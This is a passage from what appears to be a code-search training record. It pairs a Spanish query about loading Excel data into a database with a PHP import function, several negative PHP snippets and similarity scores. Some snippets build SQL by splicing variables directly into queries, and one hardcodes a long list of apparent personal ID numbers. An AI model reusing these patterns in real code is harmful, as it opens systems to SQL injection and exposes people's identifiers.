<br>\";\n\techo \"AppMat >$AppMat< <br>\";\n\techo \"Nombre >$NomEmpl< <br>\";\n**/\t\n /** Quita caracteres especiales **/\n\t$LocCampo =preg_replace('/[^A-Za-z0-9\\-]/', '', $Campo);\n\n\tif (strlen($LocCampo) == 18)\n\t{\n\n\t\tif(!preg_match (\"/[A-Z,a-z]{4}/\" ,substr($LocCampo,0,4)))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_3.\"|\".$LocCampo.\"|\" . $DI_3_ErrRFC.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t\t$CampoAux = substr($LocCampo,4,6);\n\t\tif(!preg_match (\"/\\d{6}/\" ,$CampoAux))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_3.\"|\".$LocCampo.\"|\" . $DI_3_ErrFecNac .\"|$CampoAux\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\n\t\tif(!preg_match (\"/[M|H|m|h]{1}/\" ,substr($LocCampo,10,1)))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_3.\"|\".$LocCampo.\"|\" . $DI_3_ErrGenero .\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t\tif(!in_array(substr($LocCampo,11,2), $CatEdo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_3.\"|\".$LocCampo.\"|\" . $DI_3_ErrEntFecNac .\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_3.\"|\".$LocCampo.\"|\" . $DI_3_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = 1;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_33($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_33 = \"(33)Rango\";\n\t$DI_33_ErrTam = \"Rango debe ser de 1 Digítos\";\n\t$DI_33_noDI \t = \"Rango no corresponde las Directivas Institucionales establecidas por DGRH (1,2,3)\";\n\t\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == UNO)\n\t{\n\t\tif(!preg_match(\"/[0-9]{1}/\",$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_33.\"|\".$LocCampo.\"|\" . $DI_33_noDI.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_33.\"|\".$LocCampo.\"|\" . $DI_33_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "public function validate()\n\t{\n\t\t$result = true;\n\t\tforeach ($this->slices as &$slice) {\n\t\t\t//debug($slice['name'] . ' ('.$slice['from'].'-'.$slice['till'].': '.sizeof($slice['desc']).')');\n\t\t\t$f2 = new HTMLFormTable($slice['desc']);\n\t\t\t$v = new HTMLFormValidate($f2);\n\t\t\t$result = $v->validate() && $result; // recursive inside // this order to force execution\n\t\t\t$slice['desc'] = $v->getDesc();\n\t\t}\n\t\t//debug($this->slices);\n\t\treturn $result;\n\t}", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "public function validate();", "function ValidarExpedienteNroYearSecretaria($nroInstancia, $NroExpediente, $AnioExpediente, $Secretaria){\n try{\n\t\tglobal $conn; \n\t\tif(!isset($NroExpediente)){$NroExpediente = '';} \n\t\tif(!isset($AnioExpediente)){$AnioExpediente = '';}\n\t\t\n\t\t$sql = \"SELECT 1\n\t\t\t\t\tFROM legales.ljt_juicioentramite\n\t\t\t\t\tWHERE jt_estadomediacion = 'J'\n\t\t\t\t\tAND jt_idestado <> 3\n\t\t\t\t\tAND NVL2 (jt_anioexpediente,jt_nroexpediente || '/' || jt_anioexpediente,jt_nroexpediente) = \n\t\t\t\t\ttrim(:NroExpediente || '/' || :AnioExpediente)\n\t\t\t\t\tAND jt_idsecretaria = :Secretaria\n\t\t\t\t\tAND JT_ID <> :nroInstancia\n\t\t\t\t\tAND ROWNUM = 1\";\n\n\t\t$params = array(\n\t\t\t\t\t\":nroInstancia\" => $nroInstancia,\n\t\t\t\t\t\":Secretaria\" => $Secretaria,\n\t\t\t\t\t\":NroExpediente\" => $NroExpediente,\n\t\t\t\t\t\":AnioExpediente\" => $AnioExpediente);\n\t\t\n\t\t$result = ValorSql($sql, \"\", $params);\n\t\t//$result = 1;\n\t\t\n\t\tif($result == 1){\n\t\t\t//throw new Exception(\"Nro Expediente \".$NroExpediente.\"/\".$AnioExpediente.\", ya existe en la Secretaria \".$Secretaria.\".\");\n\t\t\tthrow new Exception(\"Expediente ya existente. \".$nroInstancia);\n\t\t\treturn false;\n\t\t}\t\t\n\t\t\n\t\treturn true;\n }catch (Exception $e) {\n DBRollback($conn); \n\t\tErrorConeccionDatos($e->getMessage());\n\t\treturn false;\n } \t\t\t\t\n}", "public function validarArquivo(){\n\n if (empty($this->aRegistrosRetencao)) {\n throw new Exception( _M( self::MENSAGENS . 'erro_validar_arquivo') );\n }\n\n /**\n * Verificamos os registros e caso ocorra inconsistencia populamos o array de Registros inconsistentes\n */\n foreach ($this->aRegistrosRetencao as $oRegistroRetencao) {\n\n /**\n * Validamos se existe CGM cadastrado para o cnpj TOMADOR\n */\n if (CgmFactory::getInstanceByCnpjCpf($oRegistroRetencao->q91_cnpjtomador) == false) {\n\n $this->aRegistrosInconsistentes[] = array( \"sequencial_registro\" => $oRegistroRetencao->q91_sequencialregistro,\n \"registro\" => $oRegistroRetencao->q91_cnpjtomador,\n \"erro\" => self::TOMADOR_SEM_CGM );\n }\n }\n }", "public static function validarDados( IExportacaoCenso $oExportacaoCenso ) {\n\n $lDadosValidos = true;\n $oExportacaoCenso = $oExportacaoCenso;\n $aDadosDocente = $oExportacaoCenso->getDadosProcessadosDocente();\n\n DadosCensoDocente2015::getGrauCurso();\n\n foreach( $aDadosDocente as $oDadosCensoDocente ) {\n\n $sDadosDocente = $oDadosCensoDocente->registro30->numcgm . \" - \" . $oDadosCensoDocente->registro30->nome_completo;\n $sDadosDocente .= \" - Data de Nascimento: \" . $oDadosCensoDocente->registro30->data_nascimento;\n\n $oRegistro30 = $oDadosCensoDocente->registro30;\n $oRegistro40 = $oDadosCensoDocente->registro40;\n $oRegistro50 = $oDadosCensoDocente->registro50;\n $aRegistro51 = $oDadosCensoDocente->registro51;\n\n if( !DadosCensoDocente2015::validacoesRegistro30( $sDadosDocente, $oExportacaoCenso, $oRegistro30, $oRegistro40 ) ) {\n $lDadosValidos = false;\n }\n\n if( !DadosCensoDocente2015::validacoesRegistro40( $sDadosDocente, $oExportacaoCenso, $oRegistro30, $oRegistro40 ) ) {\n $lDadosValidos = false;\n }\n\n if( !DadosCensoDocente2015::validacoesRegistro50( $sDadosDocente, $oExportacaoCenso, $oRegistro50, $oRegistro30 ) ) {\n $lDadosValidos = false;\n }\n\n if( !DadosCensoDocente2015::validacoesRegistro51( $sDadosDocente, $oExportacaoCenso, $oRegistro30, $aRegistro51 ) ) {\n $lDadosValidos = false;\n }\n }\n\n return $lDadosValidos;\n }" ]
[ "0.6359894", "0.61580193", "0.59650594", "0.5895539", "0.5880751", "0.5791086", "0.5740606", "0.57366824", "0.5734721", "0.5715595", "0.56569123", "0.56505704", "0.56178", "0.5602266", "0.557479", "0.5562503", "0.553872", "0.5516638", "0.55123055", "0.5502009", "0.5501114", "0.5501114", "0.5501114", "0.5501114", "0.5496657", "0.5494892", "0.5468102", "0.5452364", "0.5444474", "0.54406047", "0.543839", "0.54190403", "0.5416357", "0.5415393", "0.5413661", "0.5413661", "0.5413661", "0.5413661", "0.5413661", "0.5413661", "0.5413661", "0.5413661", "0.54096395", "0.5391136", "0.5379591", "0.537789", "0.53722346", "0.5371966", "0.53674114", "0.5366347", "0.53645355", "0.5360844", "0.5359381", "0.53588516", "0.5353546", "0.5347908", "0.5334945", "0.53343487", "0.5330011", "0.5326971", "0.53260875", "0.53112125", "0.5309083", "0.5307048", "0.52906907", "0.52895856", "0.5289525", "0.52785504", "0.52708936", "0.52590406", "0.5247496", "0.5243478", "0.5242628", "0.52378833", "0.521952", "0.5203704", "0.519963", "0.5198707", "0.5183493", "0.518275", "0.51778525", "0.516474", "0.5162115", "0.51543796", "0.5151536", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146553", "0.5146546", "0.5140743", "0.51401085" ]
0.68792725
0
FUNCION QUE INGRESA INFO DEL EXCEL A LA BASE
function ejecutar_excel($case,$archi,$usr,$cli){ global $total_aceptados,$total_rechazados, $rechazados_localizados ,$cont_registros,$h,$mensaje,$nueva_ruta,$unidad_x,$ruta_x,$insertar_ruta_unidad; ini_set("display_errors",1); error_reporting(E_ALL); require_once 'excel_reader2.php'; $excel = new Spreadsheet_Excel_Reader($archi); echo $cont = 0; $conta = 0; $no_conta = 0; $arre = ""; $item_bueno=""; $item_malo=""; $cadena_buenos = ""; $columnas =0; //$formato = array("NIP","CLIENTE","CALLE","COLONIA","DEL-MUN","ESTADO","CP","LATITUD","LONGITUD","ITINERARIOS"); //$formato_actual = array(); $bandera = true; $m = -1; for ($row=1;$row<2;$row++){ for ($col=1;$col<=$excel->colcount();$col++) { $m = $m +1; if($excel->val($row,$col)!=""){ $columnas = $columnas +1; } } } //if($bandera == true){ //-------------------------------------------------- for ($row=2;$row<=$excel->rowcount();$row++) { $cont_registros=$cont_registros+1; for ($col=1;$col<=$columnas;$col++) { if($excel->val($row,$col)!=""){ $cont = $cont +1; $item_bueno = $excel->val($row,1); if($cadena_buenos ==""){ $cadena_buenos = $excel->val($row,$col); }else{ if($col==8){ $rLatLon = validaLatLon($excel->val($row,8),$excel->val($row,9)); // echo "para".$excel->val($row,8).','.$excel->val($row,9)." la var latlon es = ".$rLatLon.'<br>'; if($rLatLon==1){ $cadena_buenos = $cadena_buenos.'['.$excel->val($row,$col); }else{ $cadena_buenos=""; break; } }else if($col==$columnas){ $semana = array("D","L","M","R","J","V","S"); $dias = explode(",",strtoupper($excel->val($row,$col))); $day = ""; //echo " semana".count($semana)."-- dias ".count($dias).'<br />'; for($d=0;$d<count($dias);$d++){ for($s=0;$s<count($semana);$s++){ //echo "sem=".$semana[$s].'<br />'; if($semana[$s]==$dias[$d]){ if($day == ""){ if($semana[$s] == "D"){ $day = '0'; }else{ $day = $s; } }else{ // echo $dias[$d].'=='.$semana[$s].$s.'<br />'; $day = $day.'@'.$s; } } } } $cadena_buenos = $cadena_buenos.'['.$day; }else{ $cadena_buenos = $cadena_buenos.'['.$excel->val($row,$col); } } }else{ if($col == 7){ //echo "columna ".$col.'-'.$excel->val($row,$col); $cadena_buenos = $cadena_buenos.'[99999'; $cont = $cont +1; }else{ if( $item_malo == ""){ $item_malo = $excel->val(1,$col); }else{ $item_malo = $item_malo.','. $excel->val(1,$col); } $cadena_buenos=""; break; } } } if($cont == $columnas){ $conta = $conta+1; echo $cadena_buenos.'<br />'; /*------------------------------- OPERACIONES -----------------------*/ insert_update($item_bueno,$cadena_buenos,$case,$usr,$cli); if($insertar_ruta_unidad==0){ crear_ruta_unidad($unidad_x,$ruta_x,$usr,$cli); } crea_ruta_punto($item_bueno,$nueva_ruta); crea_itn($nueva_ruta,$cadena_buenos,$usr); crea_pto_vis($nueva_ruta,$cadena_buenos); /*---------------------------------------------------------*/ $item_bueno=""; $cadena_buenos=""; }else{ $no_conta = $no_conta+1; if($arre ==""){ $arre=$row; }else{ $arre= $arre.','.$row; } } $cont =0; } $total_aceptados = $conta; echo "<br><br><br> rechazados = ".$total_rechazados = $no_conta; if($no_conta>0){ echo $rechazados_localizados = $arre; } // } //if bandera de formato correcto. }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function consulta_intereses($tipo_personal)\r\n{\r\n\t$cedula=$_SESSION[\"cedula\"];\r\n\t//$cedula=3379195;\t\r\n\t$db=\"sidial_excel\";\r\n\t$sql=\"SELECT name FROM sysobjects ORDER BY name ASC\";\r\n\t$ds\t= new DataStore($db, $sql);\r\n\t//COMPROBACION PARA VERIFICAR QUE DEBE ESTAR EN UNO DE LOS LISTADOS 1998-2009 2010-2011 DOCENTES 1975-1997\r\n\t\r\n\t$sql=\"\r\n\t\t\tSELECT DISTINCT \r\n\t\t\t MST_TRABAJADOR.CE_TRABAJADOR,\r\n\t\t\t YEAR(case WHEN MST_CARGOS.FE_JUBILACION IS NULL THEN MST_CARGOS.FE_FIN_PRESTACIONES ELSE MST_CARGOS.FE_JUBILACION END) AS ano, \r\n\t\t\t ( LEFT(MST_CARGOS.TIPOPERSONAL,1)) AS TIPOP \r\n\t\t\tFROM MST_CARGOS, MST_TRABAJADOR\r\n\t\tWHERE ( MST_TRABAJADOR.CE_TRABAJADOR = MST_CARGOS.CE_TRABAJADOR ) AND\r\n\t\t\t ( SUBSTRING(MST_CARGOS.TIPOPERSONAL,4,2) <> '92' ) AND \r\n\t\t\t ( SUBSTRING(MST_CARGOS.TIPOPERSONAL,1,3) <> '140' ) AND\r\n\t\t\t ( LEFT(MST_CARGOS.TIPOPERSONAL,1) = '$tipo_personal' ) AND\r\n\t\t\t ( case WHEN MST_CARGOS.FE_JUBILACION IS NULL THEN MST_CARGOS.FE_FIN_PRESTACIONES ELSE MST_CARGOS.FE_JUBILACION END IS NOT NULL ) AND\r\n\t\t\t ( YEAR(case WHEN MST_CARGOS.FE_JUBILACION IS NULL THEN MST_CARGOS.FE_FIN_PRESTACIONES ELSE MST_CARGOS.FE_JUBILACION END) BETWEEN 1998 AND 2011) AND \r\n\t\t\t ( MST_CARGOS.EDO_CARGO in ('A','F','R'))\t\t AND\r\n\t\t\t ( MST_TRABAJADOR.CE_TRABAJADOR = $cedula )\r\n\tUNION\r\n\t\t\tSELECT DISTINCT \r\n\t\t\t\t MST_TRABAJADOR.CE_TRABAJADOR, \r\n\t\t\t\t YEAR(MST_CARGOS.FE_JUBILACION) AS ano, \r\n\t\t\t\t ( LEFT(MST_CARGOS.TIPOPERSONAL,1)) AS TIPOP \r\n\t\t\tFROM MST_CARGOS, MST_TRABAJADOR\r\n\t\t\tWHERE ( MST_TRABAJADOR.CE_TRABAJADOR = MST_CARGOS.CE_TRABAJADOR ) AND\t \r\n\t\t\t ( SUBSTRING(MST_CARGOS.TIPOPERSONAL,4,2) <> '92' ) AND \r\n\t\t\t ( SUBSTRING(MST_CARGOS.TIPOPERSONAL,1,3) <> '140' ) AND\r\n\t\t\t ( LEFT(MST_CARGOS.TIPOPERSONAL,1) in ('1','2') ) AND\r\n\t\t\t ( MST_TRABAJADOR.CE_TRABAJADOR IN (3933968,114369,35982,244073,132581,679107,249221,681896,1078900,101159,1052975,2091522,1092707,1643395,483638,293457,1670457,5813080,1637465,1637465,1656850,1382359,1065923,4145884,2466910,1669389,1689427,1685308,2874802,2096532,1691834,1962335,2871423,2871423,1666380,182263,329096,746969,142490,173098,1896904,1092378,3511460,1656583,2867184,1002253,1864558,3279568,1821423,2857785,1664183,1656829,1659258,1687227,2467208,2866511,1699977,1826819,2883516,2463505,873808,1962909,1670337,1657139,1936224,1069567,3272522,1937788,3509013,1058443,1421254,720148,1813383,1636415,1087526,3466550,2868263,986448,2817905,2874923,948051,1642541,1648008,1656112,2876406,1690773,1647539,1684711,1077182,2822145,2873680,2865496,2865496,1053937,1657595,1638230,2894078,1690806,2875505,2150844,3925136,3112870,1070094,2868196,2868196,2052862,1393187,3273723,3117961,2868120,1828935,1657071,1657708,1640153,1079351,2771176,3385888,1691923,2884368,1660359,2872781,2884063,1657016,1928058,3112467,3112467,1669754,102111,1596665,2882253,5840274,3114317,1697097,3384276,2615425,2772981,1808564,3549204,623000,1642632,3216047,3216047,3452259,2143069,2869481,1045110,2873319,3774735,2860981,1669510,1630481,2874708,2052523,1695316,7874916,2865414,1093201,3116899,1264086,3271391,2134926,2455791,5839228,2888884,1932516,1806083,3272281,2768929,682313,1653951,2877777,3379108,1646390,3351316,3651728,1406220,1656749,1671331,2869480,1099546,3103835,3643490,1821310,5845060,5841223,1644433,3272362,2756670,1636463,1636463,2885067,1669414,1904851,2874657,7813832,3647895,189946,1828799,3644154,2108386,2883448,3034515,2073729,3109689,5808707,3114779,3114929,2552063,3127646,3277192,3379641,2875004,630809,630809,2881400,4013426,3384915,2773317,3114318,3453391,3453391,2883406,3117188,1534688,3108641,2737889,3113473,2095163,3264718,641592,641592,3274123,3033918,2818607,4269195,3933874,2878798,3115114,1693461,3508301,3379498,3379783,3385668,4203679,3430341,3929217,1657495,3930047,393229,1650967,6005362,3578024,2686926,2867272,2773057,1826477,2052658,2743543,2869481,4150615,3929211,1656813,2884451,3110402,2626932,4522373,3926426,2626030,3078023,3107324,529896,3093473,3643185,3644519,4152751,3510876,3093473,1829277,3508075,1088991,1693764,1698737,3679377,3119021,2898488,3276637,3379821,3772750,4172440,2815083,3928054,3930244,2882357,3279863,3106568,3117188,4014967,1092093,2574801) )\r\n\t\t\t\t\"; \r\n\t\t\t$ds->executesql($sql);\r\n\t\t\t$todos=$ds->getValuesCol(\"CE_TRABAJADOR\");\r\n\t\t\t//echo count($todos);\r\n\t\t\t//LOS 280 DE 1975-1998 \r\n\t\t\tif(count($todos)<=282)\r\n\t\t\t{\r\n\t\t\t\techo \"<head><meta http-equiv=\\\"refresh\\\" content=\\\"0; url=../RRHH/consultaNominaForm.php\\\"></head>\"; \r\n\t\t\t\texit;\t\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$sql=\" SELECT MO_INT_ACUMULADO \r\n\t\t\t\t from MST_PRESTACIONES_DETALLE, MST_CARGOS\r\n\t\tWHERE ( MST_PRESTACIONES_DETALLE.CE_TRABAJADOR = MST_CARGOS.CE_TRABAJADOR ) AND\r\n\t\t\t ( SUBSTRING(MST_CARGOS.TIPOPERSONAL,4,2) <> '92' ) AND \r\n\t\t\t ( SUBSTRING(MST_CARGOS.TIPOPERSONAL,1,3) <> '140' ) AND\r\n\t\t\t ( LEFT(MST_CARGOS.TIPOPERSONAL,1) = MST_PRESTACIONES_DETALLE.TIPO_REGISTRO ) AND\r\n\t\t\t ( LEFT(MST_CARGOS.TIPOPERSONAL,1) = '$tipo_personal' ) AND\r\n\t\t\t ( case WHEN MST_CARGOS.FE_JUBILACION IS NULL THEN MST_CARGOS.FE_FIN_PRESTACIONES ELSE MST_CARGOS.FE_JUBILACION END IS NOT NULL ) AND\r\n\t\t\t ( YEAR(case WHEN MST_CARGOS.FE_JUBILACION IS NULL THEN MST_CARGOS.FE_FIN_PRESTACIONES ELSE MST_CARGOS.FE_JUBILACION END) BETWEEN 1998 AND 2011) AND \r\n\t\t\t ( MST_CARGOS.EDO_CARGO in ('A','F','R'))\t\t AND\r\n\t\t\t\t MST_PRESTACIONES_DETALLE.CE_TRABAJADOR = $cedula \r\n\t\t\t\t\t\tAND FE_HASTA = '2011-12-31' AND \r\n ( MST_PRESTACIONES_DETALLE.MO_INT_ACUMULADO > 0) \";\r\n\t\t\t\t$ds->executesql($sql);\r\n\t\t\t\t$MO_INT_ACUMULADO=$ds->getValueCol(0,\"MO_INT_ACUMULADO\");\r\n\t\t//\t\treturn($MO_INT_ACUMULADO);\r\n\t\t\t\treturn(0);\r\n\t\t\t}\t\t\r\n\t\r\n\t\r\n}", "function valida_excel($archi){\n\nini_set(\"display_errors\",1);\nerror_reporting(E_ALL);\nrequire_once 'excel_reader2.php';\n$excel = new Spreadsheet_Excel_Reader($archi);\n //\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\n $cont = 0;\n $conta = 0;\n\t$no_conta = 0;\n\t$arre = \"\";\n\t$item_bueno=\"\";\n\t$item_malo=\"\";\n\t$cadena_buenos = \"\";\n\t$columnas =0;\n\n\t$formato = array(\"Hora de salida\",\"Numero de Grupo\",\"Fecha de incicio\",\"SAP ( Cliente)\",\"Pedido\",\"Kilos\",\"Economico\",\"Unidad Medida\",\"Fecha estimada\",\"Hora de Entrada\",\"Hora de Salida\",\"Comentarios\",\"Hora de Llegada\");\n\t$formato_actual = array();\t\n\t$bandera = true;\t\n\t$m = -1;\n\t\n\n for ($row=1;$row<2;$row++){\n \t for ($col=1;$col<=$excel->colcount();$col++) {\n \t\t $m = $m +1;\n \t\t if($excel->val($row,$col)!=\"\"){\n \t\t\t\t \t $formato_actual[$m] = strtoupper($excel->val($row,$col));\n \t\t\t\t\t $columnas = $columnas +1; \n \t\t\t\t}else{\n\t\t\t\t\t break;\n\t\t\t\t}\n \t\t }\n }\n\n\t \n if($columnas == count($formato)){\n // Echo \"formato completo\";\n \t for ($col=0;$col<count($formato_actual);$col++) {\n \t \n \t if(in_array($formato_actual[$col],$formato)){\n \t\t\t\t if( $formato_actual[$col] == $formato[$col]){\n\t\t\t\t\t // echo ' no estan en la misma posicion <b style=\"color:#00ff00;\">'.$formato_actual[$col] .'=='. $formato[$col].'</b><br />';\n\t\t\t\t\t\t\t $bandera = true;\n\t\t\t\t\t }else{\n\t\t\t\t\t // echo ' La posicion de las columnas no es correcta <b style=\"color:#993300;\">'.$formato_actual[$col] .'=='. $formato[$col].'</b><br />';\n\t\t\t\t\t\t\t $bandera = false;\n \t\t\t\t break;\n\t\t\t\t\t }\n \t\t\t }else{\n \t\t\t\t //echo \"segun este \".$formato_actual[$col].'<br />';\n \t\t\t\t\t $bandera = false;\n \t\t\t\t break;\n \t\t\t }\n \t\t}\n \t\n }else{\n \t$bandera = false;\n }\n\n\n\nreturn $bandera;\n}", "function import_xls($filename = ''){\n\t\trequire_once('includes/xls_report/PHPExcel.php');\n\t\t$xls_file = 'uploads/DataBkd/DocUpload/'.$filename;\n\n\t\t$objReader = new PHPExcel_Reader_Excel5();\n\t\t$objReader->setReadDataOnly(true);\n\t\t$objPHPExcel = $objReader->load($xls_file); #return $filename;\n\t\t$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,false);\n\t\t$totalrow = count($sheetData); #return $sheetData;\n\t\t\n\t\t$kd_prodi = $sheetData[0][1];\n\t\t# get active record\n\t\t$start_record = 9;\n\t\t$start_col = 2;\n\t\twhile ($start_record < $totalrow){\n\t\t\t$a = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; #nira\n\t\t\t$b = str_replace(\"'\",\"\\'\",$sheetData[$start_record][$start_col]); $start_col++; #nm_asesor\n\t\t\t$c = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; #nm_pt\n\t\t\t$d = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; \n\t\t\t$e = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++;\n\t\t\t$f = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++;\n\t\t\t# simpan ke database \n\t\t\t$api_url \t= URL_API_BKD.'bkd_dosen/insert_asesor';\n\t\t\t$parameter = array('api_search' => array($a, $b, $c, $d, $e, $f, $kd_prodi));\n\t\t\t$this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\n\t\t\t$start_record++;\n\t\t\t$start_col = 2;\n\t\t}\n\t\t$api_url \t= URL_API_BKD.'bkd_dosen/get_nama_prodi';\n\t\t$parameter = array('api_search' => array($kd_prodi));\n\t\t$nm = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t$data['status'] = '<div class=\"alert alert-success\"><i class=\"icon icon-ok-sign\"></i> Import Data Asesor untuk program studi '.$nm.' selesai...\n\t\t\t\t\t\t\t<br/>Lihat Daftar Asesor Prodi'.$nm.' <a href=\"'.base_url().'bkd/admbkd/asesor/prodi/'.$kd_prodi.'\">Klik disini</a></div>';\n\t\t$this->output99=$this->s00_lib_output;\n\t\t$this->output99->output_display('admbkd/form_import',$data);\n\t}", "public function import()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t$excelreader = new PHPExcel_Reader_Excel2007();\n\t\t$loadexcel = $excelreader->load('excel/' . $this->filename . '.xlsx'); // Load file yang telah diupload ke folder excel\n\t\t$sheet = $loadexcel->getActiveSheet()->toArray(null, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true);\n\n\t\t// Buat sebuah variabel array untuk menampung array data yg akan kita insert ke database\n\t\t$data = array();\n\n\t\t$numrow = 3;\n\t\t$kosong = 0;\n\t\tforeach ($sheet as $row) {\n\t\t\t// Cek $numrow apakah lebih dari 1\n\t\t\t// Artinya karena baris pertama adalah nama-nama kolom\n\t\t\t// Jadi dilewat saja, tidak usah diimport\n\t\t\tif ($numrow > 3) {\n\t\t\t\t// Kita push (add) array data ke variabel data\n\t\t\t\tarray_push($data, array(\n\t\t\t\t\t'cabang' => $row['B'],\n\t\t\t\t\t'temuan' => $row['C'],\n\t\t\t\t\t'nilai_amanah' => $row['D'],\n\t\t\t\t\t'level' => $row['E'],\n\t\t\t\t\t'tingkat' => $row['F'],\n\t\t\t\t\t'avail' => $row['G'],\n\t\t\t\t\t'util' => $row['H'],\n\t\t\t\t\t'nilai_kompeten' => $row['I'],\n\t\t\t\t\t'kaloborasi' => $row['J'],\n\t\t\t\t\t'nilai_harmonis' => $row['K'],\n\t\t\t\t\t'revenue' => $row['L'],\n\t\t\t\t\t'efisiensi' => $row['M'],\n\t\t\t\t\t'nilai_loyal' => $row['N'],\n\t\t\t\t\t'koreksi' => $row['O'],\n\t\t\t\t\t'modul' => $row['P'],\n\t\t\t\t\t'nilai_adaptif' => $row['Q'],\n\t\t\t\t\t'realisasi_kpi' => $row['R'],\n\t\t\t\t\t'realisasi_pkm' => $row['S'],\n\t\t\t\t\t'nilai_kolab' => $row['T'],\n\t\t\t\t\t'nilai_total' => $row['U'],\n\t\t\t\t));\n\t\t\t}\n\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Panggil fungsi insert_multiple yg telah kita buat sebelumnya di model\n\t\t$this->RaporModel->insert_multiple($data);\n\n\t\tredirect(\"/rapor\"); // Redirect ke halaman awal (ke controller rapor fungsi index)\n\t}", "public function generatodo(){\n $solicitude = $this->Solicitudes->newEntity();\n if ($this->request->is('post')) {\n $solicitude = $this->Solicitudes->patchEntity($solicitude, $this->request->getData());\n $info = $this->Solicitudes->getHistorialExcelEstudianteTodo(); //Se trae la informacion que se agrega al excel com todas las asistencias de la historia\n $spreadsheet = new Spreadsheet(); //para usar excel\n\n //acceder al objeto hoja\n $sheet = $spreadsheet->getActiveSheet(); \n\n /*Encabezados de las columnas*/\n $sheet->setCellValue('A1', 'Curso');\n $sheet->setCellValue('B1', 'Sigla');\n $sheet->setCellValue('C1', 'Grupo');\n $sheet->setCellValue('D1', 'Profesor');\n $sheet->setCellValue('E1', 'Carné');\n $sheet->setCellValue('F1', 'Nombre');\n $sheet->setCellValue('G1', 'Tipo Horas');\n $sheet->setCellValue('H1', 'Cantidad');\n\n /*Se agrega la informacion a las filas y columnas del excel*/\n $i = 0; //indice en el vector de la asistencia que se esta llenando\n $fila = 2; //indice de la fila en el excel\n foreach ($info as $data) {\n $sheet->setCellValueByColumnAndRow(1, $fila, $info[$i]['nombre']);\n $sheet->setCellValueByColumnAndRow(2, $fila, $info[$i]['sigla']);\n $sheet->setCellValueByColumnAndRow(3, $fila, $info[$i]['numero']);\n $sheet->setCellValueByColumnAndRow(4, $fila, $info[$i]['profesor']);\n $sheet->setCellValueByColumnAndRow(5, $fila, $info[$i]['nombre_usuario']);\n $sheet->setCellValueByColumnAndRow(6, $fila, $info[$i]['estudiante']);\n $sheet->setCellValueByColumnAndRow(7, $fila, $info[$i]['tipo_horas']);\n $sheet->setCellValueByColumnAndRow(8, $fila, $info[$i]['cantidad_horas']);\n\n $i = $i + 1;\n $fila = $fila + 1;\n } \n\n $writer = new Xls($spreadsheet);\n\n /*Descarga el archivo en la carpeta descargas independientemente de la computadora o usuario*/\n try{\n $sheet->getDefaultColumnDimension()->setWidth(20);\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"'. \"Reporte Historico\" .'.xls\"');\n header('Cache-Control: max-age=0');\n \n $writer->save('php://output');\n }\n catch(Exception $e){\n echo $e->getMessage();\n }\n \n }\n \n /*Se envia la indormacion a generatodo para crear la vista previa de la tabla*/\n $todo = $this->Solicitudes->getHistorialExcelEstudianteTodo();\n $this->set(compact('todo', 'solicitude'));\n }", "public function procesarPagos(){ \n\t\trequire_once './core/SimpleXLSX.php';\n\t\t$dato=\"\";\n\t\t$fecha=\"\";\n\t\t$reg=0;\n\t\t$act=0;\n\t\t$count1=0;\n\t\t$aporte0=new Aporte($this->adapter);\n\t\t$porCruzar= $aporte0->contarCruceAportes();\n\t\tif (isset($porCruzar) && count($porCruzar)>=1)\n {\n\t\t\t\t foreach($porCruzar as $aporte)\n\t\t\t\t {\n\t\t\t\t\t $count1 = $aporte->aporteID;\n\t\t\t\t }\n\t\t\t }\n\t\t\n\t\tif ( $xlsx = SimpleXLSX::parse( './uploads/Datos.xlsx' ) ) {\n\t\t\t \n\t foreach ( $xlsx->rows() as $r => $row ) {\n\t\t\n\t\tif ($r > 0)\n\t\t{\n\t\t\tif ($row[5]!= 'Depósito')\n\t\t\t{\n\t\t\t\t$fecha = substr($row[3], 0, 19) 